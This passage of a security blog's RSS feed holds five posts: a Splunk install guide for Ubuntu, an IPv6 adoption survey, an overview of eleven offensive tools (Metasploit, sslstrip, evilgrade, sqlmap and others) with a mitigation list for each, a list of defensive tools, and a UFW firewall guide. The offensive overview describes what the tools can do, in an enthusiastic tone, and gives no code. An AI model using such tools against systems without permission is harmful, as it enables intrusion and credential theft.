		<pubDate>Sat, 02 Feb 2013 04:37:14 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Tools]]></category>
		<category><![CDATA[log]]></category>
		<category><![CDATA[security analysis]]></category>
		<category><![CDATA[security event]]></category>
		<category><![CDATA[splunk]]></category>

		<guid isPermaLink="false">http://hackertarget.com/?p=4084</guid>
		<description><![CDATA[<p>Splunk is a powerful log database that can be used for analysis of any sort of log data through its easy to use search engine. Security logs, Syslog, Web server logs and Windows logs are just the beginning. One of the great features of Splunk is that you can feed pretty much any log into [...]</p><p>The post <a href="http://hackertarget.com/install-splunk-ubuntu-in-5-mins/">Install Splunk on Ubuntu in 5 mins</a> appeared first on <a href="http://hackertarget.com">Online Vulnerability Scanners and Port Scans</a>.</p>]]></description>
				<content:encoded><![CDATA[<p><img src="http://cdn.hackertarget.com/splunk-logo.png" title="Splunk Logo" style="float: right; border: 0px;"><a href="http://www.splunk.com">Splunk</a> is a powerful log database that can be used for analysis of any sort of log data through its easy to use search engine. Security logs, Syslog, Web server logs and Windows logs are just the beginning. One of the great features of Splunk is that you can feed pretty much any log into it and start searching. Here at <a href="http://hackertarget.com/">hackertarget.com</a> we usually focus on Open Source Security projects; Splunk is not open source, it is commercial however it does have a Free option that allows up to 500mb of data to be added into the system per day. For larger volume than 500mb per day the licensing costs start to add up. Splunk installation under Ubuntu is so easy, you can fire up an instance to do ad-hoc analysis of static log files.</p>
<h2>Open Source Splunk Alternative</h2>
<p>If you are interesting in a purely Open Source log search engine, take a look at <a href="http://code.google.com/p/enterprise-log-search-and-archive/">ELSA &#8211; Enterprise Log Search and Archive</a> this is a relatively new project that is making good progress. It has been included on the latest <a href="http://securityonion.blogspot.com.au/2012/09/security-onion-1204-beta-available-now.html">Security Onion release</a>.</p>
<p>Another Open Source log management option is <a href="http://graylog2.org/">Greylog2</a>. I am yet to test or explore this alternative to Splunk but I have read some good reviews and it looks promising.</p>
<h2>Download Splunk for Ubuntu</h2>
<p>Splunk runs on a wide range of computing platforms including Windows, Linux, FreeBSD, OSX, Solaris, AIX and even HPUX.</p>
<p><a href="http://www.splunk.com/download?r=header" title="Download Splunk for your Operating System" target="_blank">http://www.splunk.com/download?r=header</a></p>
<p>We are after the Linux download option, specifically the .deb file as Ubuntu uses the Debian based .deb package format for binary installs. It is a matter of selecting either 32bit or 64bit and then downloading the .deb file.</p>
<p><img src="http://cdn.hackertarget.com/ubuntu-splunk-install-options.png" title="Select the .deb install for Ubuntu"></p>
<p>Not sure whether your Ubuntu is 32bit or 64bit? The easiest way to check this is to use a Unix command <span class="shortcode-highlight">uname -a</span><!--/.shortcode-highlight--> in a terminal window. Bring up a terminal window and type in that command. x64 indicates 64bit while i686 i386 indicates a 32 bit install.</p>
<p>The 32 bit package is about 35.5mb, you will need to signup for a Splunk account to begin the download. It is worth creating an account you will remember as this same acocunt will be used to download additional plugins (apps) from the Splunk site.</p>
<p>Once the download is complete you can install it with the following <span class="shortcode-highlight">dpkg</span><!--/.shortcode-highlight--> command as seen in the output below:</p>
<pre>fred@x-wing1:~$ sudo dpkg -i Downloads/splunk-5.0.1-143156-linux-2.6-intel.deb 
[sudo] password for fred: 
Selecting previously unselected package splunk.
(Reading database ... 239507 files and directories currently installed.)
Unpacking splunk (from .../splunk-5.0.1-143156-linux-2.6-intel.deb) ...
Setting up splunk (5.0.1-143156) ...
----------------------------------------------------------------------
Splunk has been installed in:
        /opt/splunk

To start Splunk, run the command:
        /opt/splunk/bin/splunk start


To use the Splunk Web interface, point your browser at:

http://x-wing1:8000

Complete documentation is at http://docs.splunk.com/Documentation/Splunk
----------------------------------------------------------------------</pre>
<p>Yes it is that easy, no dependencies or mucking around. Now its time to start the Splunk server.</p>
<pre>sudo /opt/splunk/bin/splunk start</pre>
<p>After some initial setup, you should see:</p>
<pre>The Splunk web interface is at http://x-wing1:8000</pre>
<p>Login and change your password. You now have your very own Splunk server, just like the cool kids. <img src='http://cdn.hackertarget.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<h2>Feed Splunk Data and Search!</h2>
<p>Start getting data in the system and then you can search on that data. Data can be input from simple files for some one off analysis, it can read known log files or can listen on a port similar to a syslog server. It is very flexible, for example running it on a TCP port you could even use <em>netcat</em> to pipe a file over the network into Splunk server, or have a <em>syslog server</em> forward some of its logs to the Splunk instance. This would leave you with your existing syslog infrastructure intact for archival purposes but you also have the Splunk instance for easy analysis.</p>
<p>Now you are up to the point where it depends on your network and requirements, so think about how you are going to use it, feed it some data and start searching for <span class="shortcode-highlight">stuff</span><!--/.shortcode-highlight-->. The <em>stuff</em> could be configuration issues, errors, utilization trends or security events. If you want to do some easy testing, just grab a web server log file or other log and feed it in directly with the <span class="shortcode-highlight">a file or directory option</span><!--/.shortcode-highlight-->.</p>
<p>This video is a good introduction to performing Splunk log searches and pulling relevant information from your data.</p>
<p><iframe width="640" height="360" src="http://www.youtube.com/embed/5G0Pk9YCzjk?feature=player_embedded" frameborder="0" allowfullscreen></iframe></p>
<p>While I suspect most people will find value from the first day, as you explore the capabilities of the Splunk search engine you will find stuff &#8211; <strong>its a rabbit hole for systems administrators</strong>.</p>
<p>The post <a href="http://hackertarget.com/install-splunk-ubuntu-in-5-mins/">Install Splunk on Ubuntu in 5 mins</a> appeared first on <a href="http://hackertarget.com">Online Vulnerability Scanners and Port Scans</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://hackertarget.com/install-splunk-ubuntu-in-5-mins/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Leading websites that enable IPv6 now at 2.68%</title>
		<link>http://hackertarget.com/websites-that-enable-ipv6-august12/</link>
		<comments>http://hackertarget.com/websites-that-enable-ipv6-august12/#comments</comments>
		<pubDate>Fri, 05 Oct 2012 11:23:19 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Security Research]]></category>
		<category><![CDATA[alexa]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[ipv6]]></category>
		<category><![CDATA[top million websites]]></category>

		<guid isPermaLink="false">http://hackertarget.com/?p=3835</guid>
		<description><![CDATA[<p>There is a need for web site owners and business to enable IPv6 on networks and public facing Internet services. HackerTarget.com has completed a second survey of the websites in the Alexa Top 1 Million to review the latest progress. The survey tested each host for the presence of an AAAA DNS record. This is [...]</p><p>The post <a href="http://hackertarget.com/websites-that-enable-ipv6-august12/">Leading websites that enable IPv6 now at 2.68%</a> appeared first on <a href="http://hackertarget.com">Online Vulnerability Scanners and Port Scans</a>.</p>]]></description>
				<content:encoded><![CDATA[<p>There is a need for web site owners and business to enable IPv6 on networks and public facing Internet services. <a href="http://hackertarget.com" title="Online Vulnerability Scanners">HackerTarget.com</a> has completed a second survey of the websites in the <a href="http://www.alexa.com">Alexa</a> Top 1 Million to review the latest progress. The survey tested each host for the presence of an AAAA DNS record. This is the record type that points to an IPv6 address.<a href="http://www.worldipv6launch.org"><img src="http://cdn.hackertarget.com/World_IPv6_launch_banner_128.png" style="border: 0px; float: right;"></a></p>
<p>In March 2012 we conducted a similar survey, that was presented in an <a href="http://hackertarget.com/ipv6-in-top-sites-infographic/" title="IPv6 Infographic">info-graphic</a>. Since March 2012 there has been an awareness campaign and much press around <a href="http://www.worldipv6launch.org" title="World IPv6 Day Launch">World IPv6 day on June 6th 2012</a>. These latest results are a good indication of how much progress has been made.<br />
<div class="woo-sc-divider"></div></p>
<h2>Total IPv6 Enabled Sites in the Top 1 Million</h2>
<p><div class="fivecol-two"><div class="woo-sc-divider"></div><br />
<span style="font-size: 1.4em; line-height: 28px;">In August 2012 there were </span><span style="font-size: 1.6em; line-height: 28px; font-weight: bold;">26776</span><span style="font-size: 1.4em; line-height: 28px;"> IPv6 enabled websites in the Alexa Top 1 million. This compares with </span><span style="font-size: 1.6em; line-height: 28px; font-weight: bold;">11237</span><span style="font-size: 1.4em; line-height: 28px;"> in March 2012.</span></p>
</div><br />
<div class="fivecol-three last"><img src="http://cdn.hackertarget.com/total-ipv6-enabled-websites.png" title="ipv6 enabled websites in top 1 million" style="border: 0px; padding: 0px; margin: 0px;"><br />
</div><br />
<div class="woo-sc-divider"></div></p>
<h2>Websites that enable IPv6 by Netblock owner</h2>
<p>In this chart we start to get a picture of where the increase in IPv6 enabled websites has come from. <span class="shortcode-highlight">Google has played a major part in this increase</span><!--/.shortcode-highlight-->. In fact digging deeper into the results reveals that apart from some relatively small increases the only major change since March has been due to the adoption of IPv6 by Google based properties.</p>
<p><img src="http://cdn.hackertarget.com/ipv6-websites-netblock-owners.png" style="border: 0px;"><br />
<span style="margin-left: 60px; font-size: 0.8em; color: #666666;">Top Hosting Providers and Netblock Owners of IPv6 enabled websites in Top 1 million</span><br />
<div class="woo-sc-divider"></div></p>
<h2>Websites that enable IPv6 by Country</h2>
<p><a href="http://hackertarget.com/ipv6-in-top-sites-infographic/">Earlier in the year</a>, we saw Germany, Russia and other European nations were well ahead of the USA in the adoption of IPv6 as a percentage of the sites in the country. Now it is clear that the move by Google to enable IPv6 across its web sites has given the United States a given a major boost.</p>
<p><img src="http://cdn.hackertarget.com/ipv6-countries-august-2012.png" style="border: 0px;"><br />
<span style="margin-left: 60px; color: #666666; font-size: 0.8em;">Dark blue are the numbers from March, with the lighter blue the latest August 2012 numbers.</span><br />
<div class="woo-sc-divider"></div></p>
<h2>IPv6 enabled web servers</h2>
<p>Finally we see again the huge difference that Google has made in the statistics. The GSE server is Blogger / Blogspot powered web sites. Google Front End and GWS are the servers of other sites within the Google web site property base.</p>
<p><img src="http://cdn.hackertarget.com/ipv6-webservers-august-2012.png" style="border: 0px;"></p>
<p><span style="font-size: 1.2em; line-height: 24px;"><strong>In the event that you have not caught on yet</strong>, the primary reason why the move by Google to enable IPv6 has caused such an impact on the results is that Blogger and Blogspot make up around 15&#8217;000 sites in the Alexa top 1 million. In fact a simple search shows <span style="font-size: 1.3em; font-weight: bold;">14914</span> sites with <span class="shortcode-highlight">.blogspot. or .blogger.</span><!--/.shortcode-highlight--> in the web site host name. Hence when these Google owned properties enabled IPv6, the number of sites in the <a href="http://www.alexa.com">Alexa</a> top million with IPv6 addressing more than doubled overnight.</span></p>
<p><div class="woo-sc-divider flat"></div><br />
<div class="woo-sc-box normal   ">
<div align="center"><span style="font-size: 1.0em">Did you know that your <strong>IPv4 firewall</strong> may not be protecting against IPv6 traffic?</span></p>
<p><a href="/nmap-online-port-scanner/" class="button2 button-blue" title="IPv6 Port Scanner Online" style="width: 180px;color: #fff;font-size: 1.0em">Online Port Scanning<br />IPv4 and IPv6</a> <a href="https://hackertarget.com/scan-membership/" class="button2 button-green" title="HackerTarget.com Membership" style="width: 180px;color: #fff;font-size: 1.0em">Join HackerTarget.com<br />Immediate Access</a>
</div>
</div><div class="woo-sc-divider"></div></p>
<p>The post <a href="http://hackertarget.com/websites-that-enable-ipv6-august12/">Leading websites that enable IPv6 now at 2.68%</a> appeared first on <a href="http://hackertarget.com">Online Vulnerability Scanners and Port Scans</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://hackertarget.com/websites-that-enable-ipv6-august12/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>11 Offensive Security Tools for SysAdmins</title>
		<link>http://hackertarget.com/11-offensive-security-tools/</link>
		<comments>http://hackertarget.com/11-offensive-security-tools/#comments</comments>
		<pubDate>Thu, 27 Sep 2012 11:44:32 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Security Research]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[offensive]]></category>
		<category><![CDATA[open source]]></category>
		<category><![CDATA[pentest]]></category>
		<category><![CDATA[security tools]]></category>

		<guid isPermaLink="false">http://hackertarget.com/?p=3796</guid>
		<description><![CDATA[<p>Offensive security tools are used by security professionals for testing and demonstrating security weakness. Systems Administrators and other IT professionals will benefit from having an understanding of at least the capabilities of these tools. Benefits include preparing systems to defend against these types of attacks and being able to identify the attacks in the case [...]</p><p>The post <a href="http://hackertarget.com/11-offensive-security-tools/">11 Offensive Security Tools for SysAdmins</a> appeared first on <a href="http://hackertarget.com">Online Vulnerability Scanners and Port Scans</a>.</p>]]></description>
				<content:encoded><![CDATA[<p>Offensive security tools are used by security professionals for testing and demonstrating security weakness. <b>Systems Administrators</b> and other IT professionals will benefit from having an understanding of at least the capabilities of these tools. Benefits include preparing systems to defend against these types of attacks and being able to identify the attacks in the case of an incident.</p>
<p>This selection of tools when utilized by a moderately skilled attacker has the potential to wreak havoc on an organizations network.</p>
<p>If you are interested in testing these tools they are all available to download and use for FREE. Most are open source with a couple of exceptions. <b>They should not be used against systems that you do not have permission to attack.</b> You could end up in jail.</p>
<div class="woo-sc-box info   ">The mitigations listed for each tool are high level pointers to techniques that a systems administrator should consider for defending against these powerful tools. Further information can be found at the project sites for each of the tools.</p>
<p>Note that while some of the recommendations may appear to be common sense; far too often the basics are overlooked.</div>
<p><b><span class="dropcap">1.</span><!--/.dropcap--><span style="font-size: 1.3em;"> <a href="http://www.metasploit.com">Metasploit Framework</a></b></span> &#8211; an open source tool for exploit development and penetration testing Metasploit is well known in the security community. Metasploit has exploits for both server and client based attacks; with feature packed communication modules <span class="shortcode-highlight">(meterpreter)</span><!--/.shortcode-highlight--> that make pwning systems fun! The framework now includes <a href="http://www.fastandeasyhacking.com/">Armitage</a> for point and click network exploitation. This is the go to tool if you want to break into a network or computer system.</p>
<p><span style="color: #333333; font-weight: bold; margin-left: 40px; line-height: 20px; margin-top: 12px;">Defending against Metasploit:</span> <div class="shortcode-unorderedlist tick"></p>
<ul>
<li>Keep all software updated with the latest security patches.</li>
<li>Use strong passwords on all systems.</li>
<li>Deploy network services with secure configurations.</li>
</ul>
<p></div>
</p>
<p><b><span class="dropcap">2.</span><!--/.dropcap--><span style="font-size: 1.3em;"> <a href="http://ettercap.sourceforge.net/">Ettercap</a></span></b> &#8211; a suite of tools for <span class="shortcode-highlight">man in the middle attacks (MITM)</span><!--/.shortcode-highlight-->. Once you have initiated a man in the middle attack with Ettercap use the modules and scripting capabilities to manipulate or inject traffic on the fly. Sniffing data and passwords are just the beginning; inject to exploit FTW!</p>
<p><span style="color: #333333; font-weight: bold; margin-left: 40px; line-height: 20px; margin-top: 12px;">Defending against Ettercap:</span> <div class="shortcode-unorderedlist tick"></p>
<ul>
<li>Understand that <a href="http://en.wikipedia.org/wiki/ARP_spoofing" title="ARP Spoofing - Wikipedia">ARP poisoning</a> is not difficult in a typical switched network.</li>
<li>Lock down network ports.</li>
<li>Use secure switch configurations and <a href="http://en.wikipedia.org/wiki/Network_Access_Control" title="Network Access Control">NAC</a> if risk is sufficient.</li>
</ul>
<p></div>
</p>
<p><b><span class="dropcap">3.</span><!--/.dropcap--><span style="font-size: 1.3em;"> <a href="http://www.thoughtcrime.org/software/sslstrip/">sslstrip</a></span></b> &#8211; using HTTPS makes people feel warm, fuzzy and secure. Using sslstrip this security can be attacked, reducing the connection to an unencrypted HTTP session, whereby all the traffic is readable. Banking details, passwords and emails from your boss all in the clear. Even includes a nifty feature where the favicon on the unencrypted connection is replaced with a padlock just to make the user keep that warm and fuzzy feeling.</p>
<p><span style="color: #333333; font-weight: bold; margin-left: 40px; line-height: 20px; margin-top: 12px;">Defending against sslstrip:</span> <div class="shortcode-unorderedlist tick"></p>
<ul>
<li>Be aware of the possibility of <a href="http://en.wikipedia.org/wiki/Man-in-the-middle_attack" title="Man in the Middle Attack">MITM</a> attacks (arp, proxies / gateway, wireless).</li>
<li>Look for sudden protocol changes in browser bar. <i>Not really a technical mitigation!</i></li>
</ul>
<p></div>
</p>
<p><b><span class="dropcap">4.</span><!--/.dropcap--><span style="font-size: 1.3em;"> <a href="http://blog.infobytesec.com/2010/10/evilgrade-20-update-explotation.html">evilgrade</a></span></b> &#8211; another man in the middle attack. Everyone knows that keeping software updated is the way to stay secure. This little utility fakes the upgrade and provides the user with a not so good update. Can exploit the upgrade functionality on around 63 pieces of software including Opera, Notepad++, VMware, Virtualbox, itunes, quicktime and <span class="shortcode-highlight">winamp!</span><!--/.shortcode-highlight--> <i>It really whips the llamas ass!</i></p>
<p><span style="color: #333333; font-weight: bold; margin-left: 40px; line-height: 20px; margin-top: 12px;">Defending against evilgrade:</span> <div class="shortcode-unorderedlist tick"></p>
<ul>
<li>Be aware of the possibility of <a href="http://en.wikipedia.org/wiki/Man-in-the-middle_attack" title="Man in the Middle Attack">MITM</a> attacks (arp attacks, proxy / gateway, wireless).</li>
<li>Only perform updates to your system or applications on a trusted network.</li>
</ul>
<p></div>
</p>
<p><b><span class="dropcap">5.</span><!--/.dropcap--><span style="font-size: 1.3em;"> <a href="https://www.trustedsec.com/downloads/social-engineer-toolkit/">Social Engineer Toolkit</a></span></b> &#8211; makes creating a social engineered client side attack way too easy. Creates the spear phish, sends the email and serves the malicious exploit. SET is the open source client side attack weapon of choice.</p>
<p><span style="color: #333333; font-weight: bold; margin-left: 40px; line-height: 20px; margin-top: 12px;">Defending against SET:</span> <div class="shortcode-unorderedlist tick"></p>
<ul>
<li>User awareness training around spear phishing attacks.</li>
<li>Strong Email and Web filtering controls.</li>
</ul>
<p></div>
</p>
<p><b><span class="dropcap">6.</span><!--/.dropcap--><span style="font-size: 1.3em;"> <a href="http://sqlmap.org/">sqlmap</a></span></b> &#8211; SQL Injection is an attack vector that has been around for over 10 years. Yet it is still the easiest way to get dumps of entire databases of information. Sqlmap is not only a highly accurate tool for detecting sql injection; but also has the capability to dump information from the database and to even launch attacks that can result in operating system shell access on the vulnerable system.</p>
<p><span style="color: #333333; font-weight: bold; margin-left: 40px; line-height: 20px; margin-top: 12px;">Defending against sqlmap:</span> <div class="shortcode-unorderedlist tick"></p>
<ul>
<li>Filter all input on dynamic websites (secure the web applications).</li>
<li>Use mod_proxy or other web based filtering controls to help block malicious injection attacks (not ideal as often able to bypass these web application firewalls (WAF).</li>
</ul>
<p></div>
</p>
<p><b><span class="dropcap">7.</span><!--/.dropcap--><span style="font-size: 1.3em;"> <a href="http://www.aircrack-ng.org/">aircrack-ng</a></span></b> &#8211; breaking holes in wireless networks for fun and profit. A suite of tools that enables all manner of wireless network attacks.</p>
<p><span style="color: #333333; font-weight: bold; margin-left: 40px; line-height: 20px; margin-top: 12px;">Defending against aircrack-ng:</span> <div class="shortcode-unorderedlist tick"></p>
<ul>
<li>Never use WEP</li>
<li>When using WPA2 with pre-shared keys, ensure passwords are strong (10+ characters non-dictionary based passwords).</li>
</ul>
<p></div>
</p>
<p><b><span class="dropcap">8.</span><!--/.dropcap--><span style="font-size: 1.3em;"> <a href="http://hashcat.net/oclhashcat-plus/">oclHashcat</a></span></b> &#8211; Need to get some passwords from the hashes you grabbed with sqlmap? Use this tool to bust them open. Over 48 different hashing algorithms supported. Will use the GPU (if supported) on your graphics card to find those hashes many times faster than your clunky old CPU.</p>
<p><span style="color: #333333; font-weight: bold; margin-left: 40px; line-height: 20px; margin-top: 12px;">Defending against oclHashcat:</span> <div class="shortcode-unorderedlist tick"></p>
<ul>
<li>Passwords are the weakest link. Enforce password complexity.</li>
<li>Protect the hashed passwords.</li>
<li>Salt the hashes.</li>
</ul>
<p></div>
</p>
<p><b><span class="dropcap">9.</span><!--/.dropcap--><span style="font-size: 1.3em;"> <a href="http://nmap.org/ncrack/">ncrack</a></span></b> &#8211; Brute force network passwords with this tool from Fyodor the creator of Nmap. Passwords are the weakest link and Ncrack makes it easy to brute force passwords for RDP, SSH, http(s), SMB, pop3(s), VNC, FTP, and telnet.</p>
<p><span style="color: #333333; font-weight: bold; margin-left: 40px; line-height: 20px; margin-top: 12px;">Defending against ncrack:</span> <div class="shortcode-unorderedlist tick"></p>
<ul>
<li>Use strong passwords everywhere.</li>
<li>Implement time based lockouts on network service password failures.</li>
</ul>
<p></div>
</p>
<p><b><span class="dropcap">10.</span><!--/.dropcap--><span style="font-size: 1.3em;"> <a href="http://www.oxid.it/">Cain and Abel</a></span></b> &#8211; Cracking passwords, sniffing VOIP and Man in the Middle (MITM) attacks against RDP are just a few examples of the many features of this Windows only tool.</p>
<p><span style="color: #333333; font-weight: bold; margin-left: 40px; line-height: 20px; margin-top: 12px;">Defending against Cain and Abel:</span> <div class="shortcode-unorderedlist tick"></p>
<ul>
<li>Be aware of the possibility of <a href="http://en.wikipedia.org/wiki/Man-in-the-middle_attack" title="Man in the Middle Attack">MITM</a> attacks (arp attacks, untrusted proxy / gateway, wireless).</li>
<li>Use strong passwords everywhere.</li>
</ul>
<p></div>
</p>
<p><b><span class="dropcap">11.</span><!--/.dropcap--><span style="font-size: 1.3em;"> <a href="http://www.torproject.org">Tor</a></span></b> &#8211; push your traffic through this <span class="shortcode-highlight">onion network</span><!--/.shortcode-highlight--> that is designed to provide anonymity to the user. Note your traffic from the exit node is not encrypted or secured. Make sure you understand what it does before using it, Tor provides anonymity not encrypted communication.</p>
<p><span style="color: #333333; font-weight: bold; margin-left: 40px; line-height: 20px; margin-top: 12px;">Defending against Tor:</span> <div class="shortcode-unorderedlist tick"></p>
<ul>
<li>It is possible to implement blocking of Tor exit nodes on your firewall, if Tor traffic is linked to a threat to your environment.</li>
</ul>
<p></div>
</p>
<p>If you are interested in testing these offensive security tools you should take a look at the <a href="http://www.backtrack-linux.org/">BackTrack Linux</a> distribution. It includes many of these and other tools pre-installed.</p>
<p>These tools are used by security professionals around the world to demonstrate security weakness.</p>
<div class="woo-sc-box alert   ">Only experiment on your local network where you have permission.<br /><b>Do not do anything stupid</b>. You could end up in jail.</div>
<p>The post <a href="http://hackertarget.com/11-offensive-security-tools/">11 Offensive Security Tools for SysAdmins</a> appeared first on <a href="http://hackertarget.com">Online Vulnerability Scanners and Port Scans</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://hackertarget.com/11-offensive-security-tools/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>10 Essential Open Source Security Tools</title>
		<link>http://hackertarget.com/10-open-source-security-tools/</link>
		<comments>http://hackertarget.com/10-open-source-security-tools/#comments</comments>
		<pubDate>Thu, 27 Sep 2012 11:30:15 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Security Research]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[open source]]></category>
		<category><![CDATA[security tools]]></category>

		<guid isPermaLink="false">http://hackertarget.com/?p=3793</guid>
		<description><![CDATA[<p>There are thousands of open source security tools with both defensive and offensive security capabilities. The following are 10 essential security tools that will help you to secure your systems and networks. These open source security tools have been given the essential rating due to the fact that they are effective, well supported and easy [...]</p><p>The post <a href="http://hackertarget.com/10-open-source-security-tools/">10 Essential Open Source Security Tools</a> appeared first on <a href="http://hackertarget.com">Online Vulnerability Scanners and Port Scans</a>.</p>]]></description>
				<content:encoded><![CDATA[<p>There are thousands of open source security tools with both defensive and offensive security capabilities.</p>
<p>The following are 10 essential security tools that will help you to secure your systems and networks. These open source security tools have been given the essential rating due to the fact that they are effective, well supported and easy to start getting value from.</p>
<p><b>1. <a href="http://nmap.org">Nmap</a></b> &#8211; map your network and ports with the number one <a href="http://hackertarget.com/nmap-online-port-scanner/">port scanning tool</a>. Nmap now features powerful NSE scripts that can detect vulnerabilities, misconfiguration and security related information around network services. After you have <a href="http://hackertarget.com/nmap-tutorial/">nmap installed</a> be sure to look at the features of the included ncat &#8211; its netcat on steroids.</p>
<p><b>2. <a href="http://openvas.org">OpenVAS</a></b> &#8211; open source vulnerability scanning suite that grew from a fork of the Nessus engine when it went commercial. Manage all aspects of a security vulnerability management system from web based dashboards. For a fast and easy external scan with OpenVAS try our <a href="http://hackertarget.com/openvas-scan/" title="OpenVAS scanner online">online OpenVAS scanner</a>.</p>
<p><b>3. <a href="http://ossec.net">OSSEC</a></b> &#8211; host based intrusion detection system or HIDS, easy to setup and configure. OSSEC has far reaching benefits for both security and operations staff.</p>
<p><b>4. <a href="http://securityonion.blogspot.com">Security Onion</a></b> &#8211; a network security monitoring distribution that can replace expensive commercial grey boxes with blinking lights. Security Onion is easy to setup and configure. With minimal effort you will start to detect security related events on your network. Detect everything from brute force scanning kids to those nasty APT&#8217;s.</p>
<p><b>5. <a href="http://www.metasploit.com">Metasploit Framework</a></b> &#8211; test all aspects of your security with an offensive focus. Primarily a penetration testing tool, Metasploit has modules that not only include exploits but also scanning and auditing.</p>
<p><b>6. <a href="http://www.openssh.org">OpenSSH</a></b> &#8211; secure all your traffic between two points by tunnelling insecure protocols through an SSH tunnel. Includes scp providing easy access to copy files securely. Can be used as poor mans VPN for Open Wireless Access points (airports, coffee shops). Tunnel back through your home computer and the traffic is then secured in transit. Access internal network services through SSH tunnels using only one point of access. From Windows, you will probably want to have putty as a client and winscp for copying files. Under Linux just use the command line ssh and scp.</p>
<p><b>7. <a href="http://www.wireshark.org">Wireshark</a></b> &#8211; view traffic in as much detail as you want. Use Wireshark to follow network streams and find problems. Tcpdump and Tshark are command line alternatives. Wireshark runs on Windows, Linux, FreeBSD or OSX based systems.</p>
<p><b>8. <a href="http://backtrack-linux.com">BackTrack</a></b> &#8211; an Ubuntu based Linux distribution that is configured with hundreds of security testing tools and scripts. Backtrack is well known with penetration testers and hobbyists alike.</p>
<p><b>9. <a href="http://www.cirt.net/nikto2/">Nikto</a></b> &#8211; a web server testing tool that has been kicking around for over 10 years. Nikto is great for firing at a web server to find known vulnerable scripts, configuration mistakes and related security problems. It won&#8217;t find your XSS and SQL web application bugs, but it does find many things that other tools miss. To get started try the Nikto Tutorial or the online hosted version.</p>
<p><b>10. <a href="http://www.truecrypt.org">Truecrypt</a></b> &#8211; encrypt all the things. Truecrypt is a strong encryption utility that can encrypt entire volumes or create an encrypted container within a file system. Use Truecrypt to protect your flash drives. If it gets lost, even the NSA will have trouble reading the data.</p>
<p>The post <a href="http://hackertarget.com/10-open-source-security-tools/">10 Essential Open Source Security Tools</a> appeared first on <a href="http://hackertarget.com">Online Vulnerability Scanners and Port Scans</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://hackertarget.com/10-open-source-security-tools/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Firewalling Ubuntu with UFW for IPv4 + IPv6</title>
		<link>http://hackertarget.com/firewalling-ubuntu-ufw-ipv4-ipv6/</link>
		<comments>http://hackertarget.com/firewalling-ubuntu-ufw-ipv4-ipv6/#comments</comments>
		<pubDate>Thu, 20 Sep 2012 10:14:53 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Security Research]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[firewall]]></category>
		<category><![CDATA[ipv4]]></category>
		<category><![CDATA[ipv6]]></category>
		<category><![CDATA[port scan]]></category>

		<guid isPermaLink="false">http://hackertarget.com/?p=3779</guid>
		<description><![CDATA[<p>Under Ubuntu you can quickly build an based firewall using the handy built in firewall configuration tool UFW. Network architectures will vary but if you are deploying Internet facing Servers you generally should be configuring a host based firewall. It can provide protection to listening services that don&#8217;t need to be Internet accessible, in addition [...]</p><p>The post <a href="http://hackertarget.com/firewalling-ubuntu-ufw-ipv4-ipv6/">Firewalling Ubuntu with UFW for IPv4 + IPv6</a> appeared first on <a href="http://hackertarget.com">Online Vulnerability Scanners and Port Scans</a>.</p>]]></description>
				<content:encoded><![CDATA[<p>Under Ubuntu you can quickly build an <span class="shortcode-highlight">iptables</span><!--/.shortcode-highlight--> based firewall using the handy built in firewall configuration tool UFW.</p>
<p>Network architectures will vary but if you are deploying Internet facing Servers you generally should be configuring a host based firewall. It can provide protection to listening services that don&#8217;t need to be Internet accessible, in addition a firewall can make life more difficult for an attacker who does gain a foothold. Making it more difficult to create a backdoor listener for example.</p>
<p>When deploying an Ubuntu host based firewall you should also consider using the excellent open source HIDS <a href="/ossec-introduction-and-installation-guide/" title="install ossec on ubuntu">software OSSEC</a>.</p>
<p>The Ubuntu documentation portal has a good run down on <a href="https://help.ubuntu.com/community/UFW">implementing UFW</a>.</p>
<h2>Here is my shorter summary of UFW and Ubuntu Firewalls</h2>
<p>Set the default rule, in case you are wondering this should be default DENY.</p>
<pre>sudo ufw default deny</pre>
<p>Logging is generally another good idea, lets enable it.</p>
<pre>sudo ufw logging on</pre>
<p>If you are connected over SSH then set your SSH allow rule <span class="shortcode-highlight">now</span><!--/.shortcode-highlight-->.</p>
<pre>sudo ufw allow 22/tcp</pre>
<p>HackerTarget.com runs SSH on 2222 to avoid brute forcing SSH bots. So the command is:</p>
<pre>sudo ufw allow 2222/tcp</pre>
<p>Now turn the firewall on (this applies the iptables commands).</p>
<pre>sudo ufw enable</pre>
<p>To turn the firewall off.</p>
<pre>sudo ufw disable</pre>
<p>Allow port 80 (for your webserver to server HTTP).</p>
<pre>sudo ufw allow 80/tcp</pre>
<p>Allow port 443 (as we have SSL enabled for our clients security).</p>
<pre>sudo ufw allow 443/tcp</pre>
<p>Allow port 25 (for your Email SMTP)</p>
<pre>sudo ufw allow 25/tcp</pre>
<p>You get the idea, it is also possible to enable rules that allow and block from specific IP addresses, after all it is just a script for iptables. See the <a href="https://help.ubuntu.com/community/UFW">Ubuntu Docs</a> for details on this.</p>
<pre>sudo ufw status</pre>
<p>This command shows that the firewall is running and configured, <b>now you should do a <a href="/nmap-online-port-scanner/" title="Online HackerTarget.com Port Scanner">port scan</a> and test it for real</b>.</p>
<p>Since we run VPS servers on <a href="http://www.linode.com/?r=798ba6bf0c7bf7abd54b5fddbeef8966f13113de">Linode</a> and have configured dual stack IPv4 and IPv6 addresses our web server is happily serving on both protocols. <span class="shortcode-highlight">iptables and ip6tables</span><!--/.shortcode-highlight--> are two separate commands for the configuration of IPv4 and IPv6 firewalls. The excellent thing about UFW is the above commands enables the firewall on both IP stacks.</p>
